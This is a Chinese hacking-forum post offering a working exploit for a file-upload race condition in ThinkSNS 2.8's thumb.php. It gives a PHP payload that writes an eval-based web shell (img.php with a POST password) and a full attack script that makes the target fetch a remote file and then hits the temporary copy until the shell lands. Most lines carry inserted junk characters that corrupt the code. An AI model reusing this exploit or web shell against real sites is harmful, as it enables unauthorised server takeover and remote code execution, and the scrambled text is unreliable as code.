找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2248|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
+ N! x4 G0 X7 ^1 w1 p8 y存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
) O, G+ c- U( W5 R8 n* p( A( e" C5 A漏洞文件, _# A: w6 s% r* ^: z3 L, R4 V5 ?7 k
存在漏洞的文件为:thumb.php
5 Z% Z5 w. c3 H9 D7 l) j) s作者:韦鲲鹏
! x0 G" `9 N) v5 h# W5 _1、        准备如下PHP文件并上传到服务器(自己的)。
/ e! z2 u7 e( J2 g4 k. B/ N2 {文件内容如下:
7 ^1 r  n# w3 y% N6 g<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>9 r( g5 `& Q0 ~7 J- `% p
2、        计算出临时的文件名:4 i: }; T% b' c# {) ?8 T' n& J
这里我们可以看文件的99行(刚刚是不是没注意呀!)。7 L( ~- @: H; u

  n: Z3 m( M6 |* u" m3、        上传临时文件。
% k, g, `* U# v% ?( ?4、        访问临时文件。
( ~3 M" M9 b4 m* P9 O但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
/ l& m" N, ~/ @# uExploit文件内容如下:(这个我就不详细解释了)
) l# x* e! P$ ?<?php; Q# S2 L! U& Z% ?
error_reporting(0);$ @1 r5 w7 K  Z/ d7 c# L
set_time_limit(0);9 I$ e6 f1 T, A# A5 W
ini_set(“default_socket_timeout”, 5);; z1 j8 j0 P# R7 A$ x
function http_send($host, $port, $headers) {
0 R; N- U( c7 y2 [9 k9 n* N$fp = fsockopen($host, $port);
/ S8 J- c9 ~2 F8 d$ tif (!$fp) die(‘Connection -> fail’);
* q) P/ \$ z( M/ k1 Wfputs($fp, $headers);
+ r* F  y7 ~+ P6 v- X5 }( Z1 Creturn $fp;5 H1 j; t% P1 x' H5 J- i- S, V
}1 U3 W5 x( m6 N5 {9 e' w
function http_recv($fp) {* B& I% t2 s6 O' S  X
$ret=”";
; w( O2 P) q& F4 Q/ n' rwhile (!feof($fp))! O1 @6 Z; y. K( A2 @) O, g6 K
$ret.= fgets($fp, 1024);
# D, V. `: P: D( g$ f( |fclose($fp);
8 {( K" {- y3 |0 ?5 X; Ereturn $ret;- A% Y7 O& H; z) e$ }
}, _0 \% c. A  {  n5 W1 {) E+ E
print “\n#  ThinkSns Arbitrary File Upload   #\n”;9 k# I* ?3 I7 o. f2 i% E7 p* R( M
print “# Discovered by 韦鲲鹏 #\n\n”;
6 d: A2 v( U8 C  x9 bif ($argc < 4) {" M* _( k4 P6 i* q$ p
print “Usage:   php <host> <path> <romote_url>\n”;2 t, ]; Z) o& F/ |
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
' C8 t; [$ P# g. c1 ?die();
3 ]- U) r9 Y& l6 E0 N4 J- M}
; I/ K1 G2 J6 e7 L3 U$host = $argv[1];5 s% j  f) j/ u/ b2 X
$path = $argv[2];
0 @- \" t1 d5 @$url = $argv[3];
, s/ D5 K  b: z) L0 i6 o# ~$i=0;& R: P6 c5 @+ H& ~% g7 k: J
//上传数据包
2 V9 P( ]3 n2 C2 ~$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
% W2 i7 V3 o& g' F/ t! v$headers_up .= “Host: “.$host.”\r\n”;3 M& n/ V9 ~5 u) V; e0 w8 y
$headers_up .= “Connection: close\r\n\r\n”;4 P2 T: k% z+ j: Y" t& U
echo $headers_up;
3 i( m3 ~- {9 m//临时文件访问数据包
3 }+ q0 K6 o  |5 H% Y+ r! R- M" q$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
8 H( L+ ^1 k  {! p% o( P/ x: K$headers .= “Host: “.$host.”\r\n”;
( ~8 j+ @6 p: u9 t: X1 t$headers .= “Connection: close\r\n\r\n”;7 ?8 M6 _6 Q0 n: d: A; h
echo $headers;
' D" c: B2 H0 ^1 t$ Nwhile(++$i<10) {5 y5 C7 I9 H6 X2 L# W) `7 `
fclose(http_send($host, 80, $headers));! @$ [1 d$ z* T, c, o1 p/ X
}
* y( f" T6 a# f6 Zfclose(http_send($host, 80, $headers_up));% l% o0 U, J  i! t/ E% v5 C) k
while(++$i<50) {
' G5 a$ ]' R/ t+ Q, h9 p. }fclose(http_send($host, 80, $headers));- T. R' H9 Y6 I$ q1 }
}
) q! k; W" g7 W$ ~# R6 z$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
" ~* ]4 D- T6 v* R" W$headers .= “Host: “.$host.”\r\n”;
5 g7 e" F0 i4 N& K6 O$headers .= “Connection: close\r\n\r\n”;
7 F5 H, S* l( r$res=http_recv(http_send($host, 80, $headers));
+ V% @% c" n7 L) i2 b% n( a$ p: xif(preg_match(‘/200 OK/’,$res)) {
/ Q1 G  L2 L' D+ A1 {5 Mprint “Success!\n\n”;
+ r, ~; r9 A2 N# \1 P, [$ z0 A} else {7 s% [0 G' v& N7 B' z# @& F
print “Fail!\n\n”;
! i5 w3 G0 i/ p0 \}
& u4 t- M' d7 H?>* B9 I% `: u( S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表